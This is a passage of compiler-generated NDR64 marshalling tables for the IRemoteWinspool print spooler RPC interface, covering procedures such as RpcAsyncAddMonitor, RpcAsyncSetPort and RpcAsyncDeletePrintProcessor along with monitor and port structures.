(NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag942,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag947,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintServer */      /* parameter pPrintServer */\n        &__midl_frag947,\n        { \n        /* pPrintServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pProvider */      /* parameter pProvider */\n        &__midl_frag947,\n        { \n        /* pProvider */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag831_t __midl_frag831 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag830_t __midl_frag830 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag831\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag829_t __midl_frag829 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag830\n};\n\nstatic const __midl_frag823_t __midl_frag823 =\n{ \n/* RpcAsyncEnumPrintProcessorDatatypes */\n    { \n    /* RpcAsyncEnumPrintProcessorDatatypes */      /* procedure RpcAsyncEnumPrintProcessorDatatypes */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1021,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag1021,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1018,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pDatatypes */      /* parameter pDatatypes */\n        &__midl_frag829,\n        { \n        /* pDatatypes */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag815_t __midl_frag815 =\n{ \n/* RpcAsyncDeletePrintProcessor */\n    { \n    /* RpcAsyncDeletePrintProcessor */      /* procedure RpcAsyncDeletePrintProcessor */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag1021,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag1021,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag1022,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag802_t __midl_frag802 =\n{ \n/* MONITOR_INFO_2 */\n    { \n    /* MONITOR_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1022\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1022\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1022\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag801_t __midl_frag801 =\n{ \n/* *MONITOR_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag802\n};\n\nstatic const __midl_frag799_t __midl_frag799 =\n{ \n/* MONITOR_INFO_1 */\n    { \n    /* MONITOR_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1022\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag798_t __midl_frag798 =\n{ \n/* *MONITOR_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag799\n};\n\nstatic const __midl_frag797_t __midl_frag797 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag796_t __midl_frag796 =\n{ \n/* __MIDL_IRemoteWinspool_0010 */\n    { \n    /* __MIDL_IRemoteWinspool_0010 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag797,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag798,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag801,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag795_t __midl_frag795 =\n{ \n/* MONITOR_CONTAINER */\n    { \n    /* MONITOR_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag796\n        },\n        { \n        /* MONITOR_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag794_t __midl_frag794 =\n{ \n/* *MONITOR_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag795\n};\n\nstatic const __midl_frag791_t __midl_frag791 =\n{ \n/* RpcAsyncAddMonitor */\n    { \n    /* RpcAsyncAddMonitor */      /* procedure RpcAsyncAddMonitor */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag1021,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pMonitorContainer */      /* parameter pMonitorContainer */\n        &__midl_frag795,\n        { \n        /* pMonitorContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag789_t __midl_frag789 =\n{ \n/* *PORT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag755\n};\n\nstatic const __midl_frag784_t __midl_frag784 =\n{ \n/* RpcAsyncSetPort */\n    { \n    /* RpcAsyncSetPort */      /* procedure RpcAsyncSetPort */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortName */      /* parameter pPortName */\n        &__midl_frag942,\n        { \n        /* pPortName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPortContainer */      /* parameter pPortContainer */\n        &__midl_frag755,\n        { \n        /* pPortContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag780_t __midl_frag780 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag777\n    }\n};\n\nstatic const __midl_frag777_t __midl_frag777 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag797\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag776_t __midl_frag776 =\n{ \n/* PORT_VAR_CONTAINER */\n    { \n    /* PORT_VAR_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_VAR_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag780,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag775_t __midl_frag775 =\n{ \n/* *PORT_VAR_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag776\n};\n\nstatic const __midl_frag774_t __midl_frag774 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag771_t __midl_frag771 =\n{ \n/* PORT_INFO_FF */\n    { \n    /* PORT_INFO_FF */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_FF */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag774,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        